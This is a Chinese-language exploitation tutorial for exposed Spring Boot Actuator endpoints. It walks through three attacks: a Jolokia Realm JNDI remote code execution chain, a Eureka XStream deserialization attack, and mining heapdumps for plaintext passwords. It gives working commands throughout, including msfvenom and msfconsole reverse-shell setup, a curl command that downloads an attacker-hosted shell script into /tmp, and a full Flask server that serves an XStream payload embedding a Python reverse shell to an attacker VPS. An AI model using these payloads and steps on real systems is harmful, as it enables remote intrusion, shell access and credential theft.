一、jolokia Realm JNDI RCE
(1).利用條件:
目標網站存在 /jolokia 或 /actuator/jolokia 接口
目標使用了 jolokia-core 依賴(版本要求暫未知)並且環境中存在相關 MBean
目標可以請求攻擊者的服務器(請求可出外網)
普通 JNDI 注入受目標 JDK 版本影響,jdk < 6u141/7u131/8u121(RMI),但相關環境可繞過
(2).攻擊步驟
訪問 /jolokia/list 接口,查看是否存在 type=MBeanFactory 和 createJNDIRealm 關鍵詞。
python3 -m http.server 8080開啟一個http服務,用來托管 class 文件
https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java
javac -source 1.5 -target 1.5 JNDIObject.java
啟動惡意 rmi 服務:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
nc -lvp 進行監聽成功后,使用腳本發送惡意payload
https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py 注意修改腳本中的目標地址、RMI地址信息。
(二)Jolokia Realm JNDI JDK高版本情況下利用
當marshalsec 接收到了目標請求,但是目標沒有請求 JNDIObject.class,就得考慮是否是對方jdk版本過高
https://github.com/welk1n/JNDI-Injection-Exploit
msfvenom -p cmd/unix/reverse_python LHOST=1.1.1,1 LPORT=80 -f raw -o shell.py
msfconsole -q -x "use multi/handler; set payload cmd/unix/reverse_python; set lhost 1.1.1,1; set lport 80; exploit"
python -m SimpleHTTPServer 8080
啟動 JNDI-Injection-Exploit:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -L http://vps:8080/shell.py -o /tmp/.shell.py" -A "vps"
選用Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath惡意類
修改springboot-realm-jndi-rce.py中的rmi地址:rmi://192.168.111.76:1099/efe039
http收到請求后受害機器響應,將執行的命令修改為"bash /tmp/.shell.py" 獲取到shell,同樣需要修改rmi地址
二、eureka xstream deserialization RCE(此方法會修改屬性警慎使用)
(1).利用條件:
可以 POST 請求目標網站的 /env 接口設置屬性
可以 POST 請求目標網站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依賴)
目標使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依賴中)
目標可以請求攻擊者的 HTTP 服務器(請求可出外網)
(2).攻擊步驟
http://192.168.237.212:8090/env 查看是否存在組件com.netflix查看目標是否使用Spring Cloud Netflix
架設響應惡意 XStream payload 的網站,修改ip和端口地址nc-lvp進行監聽
#!/usr/bin/env python # coding: utf-8 # -**- Author: LandGrey -**- from flask import Flask, Response app = Flask(__name__) @app.route('/', defaults={'path': ''}) @app.route('/<path:path>', methods=['GET', 'POST']) def catch_all(path): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/bash</string> <string>-c</string> <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString> </linked-hash-set>""" return Response(xml, mimetype='application/xml') if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
設置 eureka.client.serviceUrl.defaultZone 屬性,訪問env
eureka.client.serviceUrl.defaultZone=http://192.168.237.131/example
訪問訪問http://192.168.237.212:8090/refresh刷新配置
三、heapdump獲取明文信息
當下載/heapdump是403的時候, /heapdump.json可以下載成功
Eclipse Memory Analyzer :https://www.eclipse.org/mat/downloads.php
打開工具file->open heap dump選擇下載下來的文件,點擊 OQL 標簽,在查詢框中輸入,選擇紅色感嘆號執行SQL語句
(1)spring boot 1.x 版本 heapdump 查詢結果,最終結果存儲在 java.util.Hashtable$Entry 實例的鍵值
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
(2)spring boot 2.x 版本 heapdump 查詢結果,最終結果存儲在 java.util.LinkedHashMap$Entry 實例的鍵值對中,本文測試的是springboot 2.x版本,配合env信息進行搜索
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
參考文章:
https://github.com/LandGrey/SpringBootVulExploit
https://landgrey.me/blog/16/